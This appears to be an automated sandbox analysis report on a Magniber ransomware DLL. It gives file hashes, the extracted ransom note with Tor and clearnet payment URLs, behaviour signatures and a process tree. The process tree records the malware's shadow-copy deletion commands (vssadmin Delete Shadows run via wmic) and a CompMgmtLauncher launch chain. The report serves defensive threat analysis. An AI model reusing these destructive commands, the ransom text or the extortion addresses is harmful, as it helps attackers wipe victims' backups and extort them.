Analysis

  • max time kernel
    121s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    01/11/2021, 07:01

General

  • Target

    jrbgmq.inf.dll

  • Size

    38KB

  • MD5

    0aea8bca4799f7a2e44d4be293787d9a

  • SHA1

    a957236b7c257c2bc604bb3f2b6c294b2f34691f

  • SHA256

    92b8d14c0b35823e25773eb324720dfe3a285d533f5a59f93f8136280acd0e0e

  • SHA512

    49f1264b3e949d4592fe55f1f2661b58d1884a78c73c22cf3883c7448455004cc4445b548f5203cca6a6927f2c008865bb82575b37554a7c0c031ad3b2e5a91e

Score
10/10

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://2cd450407ef4da804erdrejjurq.3vygk5flyo5rn37gyezm5s2e57lq6e34tgr6nrhsatiuskwo3kwepiid.onion/rdrejjurq Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://2cd450407ef4da804erdrejjurq.bankhid.space/rdrejjurq http://2cd450407ef4da804erdrejjurq.letsyou.uno/rdrejjurq http://2cd450407ef4da804erdrejjurq.bookrow.website/rdrejjurq http://2cd450407ef4da804erdrejjurq.twosat.fit/rdrejjurq Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://2cd450407ef4da804erdrejjurq.3vygk5flyo5rn37gyezm5s2e57lq6e34tgr6nrhsatiuskwo3kwepiid.onion/rdrejjurq

http://2cd450407ef4da804erdrejjurq.bankhid.space/rdrejjurq

http://2cd450407ef4da804erdrejjurq.letsyou.uno/rdrejjurq

http://2cd450407ef4da804erdrejjurq.bookrow.website/rdrejjurq

http://2cd450407ef4da804erdrejjurq.twosat.fit/rdrejjurq

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

  • Process spawned unexpected child process 12 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies extensions of user files 9 IoCs

    Ransomware generally changes the extension on encrypted files.

  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 8 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Internet Explorer settings 1 TTPs 34 IoCs
  • Modifies registry class 11 IoCs
  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 54 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of UnmapMainImage 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\taskhost.exe
    "taskhost.exe"
    1⤵
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:1132
    • C:\Windows\system32\wbem\wmic.exe
      C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
      2⤵
        PID:1356
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        2⤵
          PID:576
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
              PID:1604
        • C:\Windows\Explorer.EXE
          C:\Windows\Explorer.EXE
          1⤵
          • Modifies registry class
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of UnmapMainImage
          • Suspicious use of WriteProcessMemory
          PID:1272
          • C:\Windows\system32\rundll32.exe
            rundll32.exe C:\Users\Admin\AppData\Local\Temp\jrbgmq.inf.dll,#1
            2⤵
            • Modifies extensions of user files
            • Suspicious use of SetThreadContext
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:1876
            • C:\Windows\system32\notepad.exe
              notepad.exe C:\Users\Public\readme.txt
              3⤵
              • Opens file in notepad (likely ransom note)
              PID:1196
            • C:\Windows\system32\cmd.exe
              cmd /c "start http://2cd450407ef4da804erdrejjurq.bankhid.space/rdrejjurq^&1^&44037963^&76^&367^&12"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1496
              • C:\Program Files\Internet Explorer\iexplore.exe
                "C:\Program Files\Internet Explorer\iexplore.exe" http://2cd450407ef4da804erdrejjurq.bankhid.space/rdrejjurq&1&44037963&76&367&12
                4⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:1740
                • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                  "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1740 CREDAT:275457 /prefetch:2
                  5⤵
                  • Modifies Internet Explorer settings
                  • Suspicious use of SetWindowsHookEx
                  PID:1900
            • C:\Windows\system32\wbem\wmic.exe
              C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2004
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1408
              • C:\Windows\system32\wbem\WMIC.exe
                C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                4⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:964
          • C:\Windows\system32\wbem\wmic.exe
            C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
            2⤵
              PID:800
            • C:\Windows\system32\cmd.exe
              cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:896
              • C:\Windows\system32\wbem\WMIC.exe
                C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                3⤵
                  PID:216
            • C:\Windows\system32\Dwm.exe
              "C:\Windows\system32\Dwm.exe"
              1⤵
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:1220
              • C:\Windows\system32\wbem\wmic.exe
                C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
                2⤵
                  PID:1556
                • C:\Windows\system32\cmd.exe
                  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1332
                  • C:\Windows\system32\wbem\WMIC.exe
                    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
                    3⤵
                      PID:968
                • C:\Windows\system32\cmd.exe
                  cmd /c CompMgmtLauncher.exe
                  1⤵
                  • Process spawned unexpected child process
                  • Suspicious use of WriteProcessMemory
                  PID:2012
                  • C:\Windows\system32\CompMgmtLauncher.exe
                    CompMgmtLauncher.exe
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1624
                    • C:\Windows\system32\wbem\wmic.exe
                      "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                      3⤵
                        PID:964
                  • C:\Windows\system32\vssadmin.exe
                    vssadmin.exe Delete Shadows /all /quiet
                    1⤵
                    • Process spawned unexpected child process
                    • Interacts with shadow copies
                    PID:600
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                      PID:832
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:1120
                    • C:\Windows\system32\vssadmin.exe
                      vssadmin.exe Delete Shadows /all /quiet
                      1⤵
                      • Process spawned unexpected child process
                      • Interacts with shadow copies
                      PID:600
                    • C:\Windows\system32\cmd.exe
                      cmd /c CompMgmtLauncher.exe
                      1⤵
                      • Process spawned unexpected child process
                      • Suspicious use of WriteProcessMemory
                      PID:1356
                      • C:\Windows\system32\CompMgmtLauncher.exe
                        CompMgmtLauncher.exe
                        2⤵
                        • Suspicious use of WriteProcessMemory
                        PID:1668
                        • C:\Windows\system32\wbem\wmic.exe
                          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                          3⤵
                            PID:204
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:580
                      • C:\Windows\system32\cmd.exe
                        cmd /c CompMgmtLauncher.exe
                        1⤵
                        • Process spawned unexpected child process
                        • Suspicious use of WriteProcessMemory
                        PID:1908
                        • C:\Windows\system32\CompMgmtLauncher.exe
                          CompMgmtLauncher.exe
                          2⤵
                          • Suspicious use of WriteProcessMemory
                          PID:220
                          • C:\Windows\system32\wbem\wmic.exe
                            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                            3⤵
                              PID:600
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          PID:1748
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin.exe Delete Shadows /all /quiet
                          1⤵
                          • Process spawned unexpected child process
                          • Interacts with shadow copies
                          PID:968
                        • C:\Windows\system32\cmd.exe
                          cmd /c CompMgmtLauncher.exe
                          1⤵
                          • Process spawned unexpected child process
                          PID:1572
                          • C:\Windows\system32\CompMgmtLauncher.exe
                            CompMgmtLauncher.exe
                            2⤵
                              PID:1332
                              • C:\Windows\system32\wbem\wmic.exe
                                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                                3⤵
                                  PID:1504
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin.exe Delete Shadows /all /quiet
                              1⤵
                              • Process spawned unexpected child process
                              • Interacts with shadow copies
                              PID:1668
                            • C:\Windows\system32\vssadmin.exe
                              vssadmin.exe Delete Shadows /all /quiet
                              1⤵
                              • Process spawned unexpected child process
                              • Interacts with shadow copies
                              PID:1604

                            Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            • memory/1132-66-0x0000000001EA0000-0x0000000001EA5000-memory.dmp

                              Filesize

                              20KB

                            • memory/1196-69-0x000007FEFBA71000-0x000007FEFBA73000-memory.dmp

                              Filesize

                              8KB

                            • memory/1876-60-0x00000000002D0000-0x00000000002D1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-58-0x00000000002B0000-0x00000000002B1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-90-0x0000000003E20000-0x0000000003E21000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-61-0x00000000002E0000-0x00000000002E1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-54-0x0000000001CD0000-0x0000000002019000-memory.dmp

                              Filesize

                              3.3MB

                            • memory/1876-55-0x0000000000180000-0x0000000000181000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-59-0x00000000002C0000-0x00000000002C1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-63-0x0000000000330000-0x0000000000331000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-64-0x0000000000340000-0x0000000000341000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-65-0x0000000000350000-0x0000000000351000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-62-0x0000000000320000-0x0000000000321000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-57-0x00000000002A0000-0x00000000002A1000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-56-0x0000000000190000-0x0000000000191000-memory.dmp

                              Filesize

                              4KB

                            • memory/1876-67-0x0000000003D80000-0x0000000003D81000-memory.dmp

                              Filesize

                              4KB